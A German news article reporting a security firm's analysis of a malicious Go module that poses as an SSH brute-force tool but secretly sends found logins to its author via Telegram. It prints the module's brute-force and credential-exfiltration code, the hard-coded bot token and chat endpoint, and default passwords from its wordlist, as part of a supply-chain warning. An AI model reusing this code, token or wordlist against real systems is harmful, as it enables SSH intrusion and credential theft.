Go-Modul für Brute-Force-Angriffe auf SSH stiehlt die gefundenen Zugänge
Ein schädliches Go-Modul tarnt sich als Brute-Force-Tool für SSH, stiehlt die gefundenen Zugangsdaten aber heimlich und übermittelt sie per Telegram.
(Bild: JarTee/Shutterstock.com)
- Manuel Masiero
Ein von der Sicherheitsfirma Socket entdecktes Go-Modul führt zufällige Angriffe auf SSH-Ports durch, meldet einen Erfolg aber nicht nur dem aktuellen Nutzer, sondern auch dem Autor des Tools per Telegram. Weil die Telegram-API HTTPS verwendet, täuscht sie Sicherheitssysteme, da es sich beim Bot-Traffic um gewöhnliche Web-Requests handelt.
Das schädliche Go-Modul nennt sich golang-random-ip-ssh-bruteforce und lässt sich auf einen Cyberangreifer zurückverfolgen, der auf GitHub und im Go-Module-Ökosystem unter dem Namen IllDieAnyway zu finden ist. Seine GitHub-Seite hostete neben dem Go-Schädling weitere Tools wie einen Port-Scanner und einen Brute Forcer für das Datenbankwerkzeug phpMyAdmin – ebenfalls mit Backdoor. Mittlerweile sind die Webseiten von IllDieAnyway auf GitHub und Go-Module nicht mehr verfügbar.
Der Schadcode im Detail
golang-random-ip-ssh-bruteforce generiert kontinuierlich zufällige IPv4-Adressen und scannt damit parallel TCP-Port 22 auf ungeschützte SSH-Dienste. Dabei nutzt es HostKeyCallback: ssh.InsecureIgnoreHostKey(), um serverseitige Identitätschecks zu umgehen. Bei einem Treffer versucht der Schädling, eine Authentifizierung mit einer einfachen, lokalen Benutzername-Passwort-Liste durchzuführen. Nach einer erfolgreichen Anmeldung übermittelt golang-random-ip-ssh-bruteforce die IP-Adresse des Rechners und die Zugangsdaten an einen im Quellcode hartkodierten Telegram-Bot und meldet dem Nutzer den Erfolg. Anschließend beendet es sich selbst, um gegenüber dem Angriffspunkt möglichst verdeckt zu bleiben.
Socket hat einen Ausschnitt des Codes veröffentlicht und kommentiert:
// Probe the host on TCP 22. If the port is reachable, launch brute forcing.
func IsOpened(host string) {
target := fmt.Sprintf("%s:%d", host, 22)
conn, err := net.DialTimeout("tcp", target, 2*time.Second)
if err == nil && conn != nil {
conn.Close()
go brute(host)
}
}
// Configure SSH to skip host key verification, then attempt user:pass.
sshConfig := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{ssh.Password(pass)},
Timeout: time.Duration(timeout) * time.Second,
HostKeyCallback: ssh.InsecureIgnoreHostKey(), // Skip server verification.
}
client, err := ssh.Dial("tcp", addr, sshConfig)
// On first success, send stolen credentials to the threat actor's Telegram.
data := addr + ":" + user + ":" + pass + "</code>"
http.Get("https://api[.]telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884&parse_mode=HTML&text=<code>" + data)
close(succ) // Signal success and exit.
Videos by heise
Nach erfolgreicher Übermittlung der abgegriffenen Daten antwortet die Telegram-API mit "ok": true für eine gültige message_id für den Chat 1159678884. Der hartcodierte Austrittspunkt lautet:
https://api.telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884
Laut Socket.dev ist das Bot-Token 5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY derzeit noch live. Telegram identifiziert den Bot als ssh_bot mit dem Usernamen @sshZXC_bot. Der Ziel-Chat 1159678884 ist ein privater Chat mit @io_ping (alias Gett). Sind Bot-Token und Chat aktiv, sendet der Go-Schädling die Daten jedes ersten erfolgreich durchgeführten Logins im Format ip:user:pass via @sshZXC_bot an @io_ping.
(Bild: Socket.dev)
Mit Offline-Wortliste unauffällig unterwegs
Das schädliche Go-Modul enthält eine kurze, statische Wortliste und bekommt weder Updates noch Zugangsdaten über das Netzwerk, sodass es bis zum ersten Treffer im Stillen läuft. Die Wortliste kombiniert lediglich zwei Usernamen – root und admin – mit schwachen und Standardpasswörtern, zum Beispiel toor, raspberry, dietpi, alpine, password, qwerty, numerische Sequenzen und Rollenbegriffe wie webadmin, webmaster, maintenance, techsupport, marketing oder uploader.
(Bild: Socket.dev)
Socket warnt prinzipiell vor Supply-Chain-Attacken beim Einsatz von Modulen im eigenen Code. Anwenderinnen und Anwender sollten diese immer genau untersuchen, beispielsweise auf hartkodierte Gegenstellen im Netz – oft bei Telegram.
(who)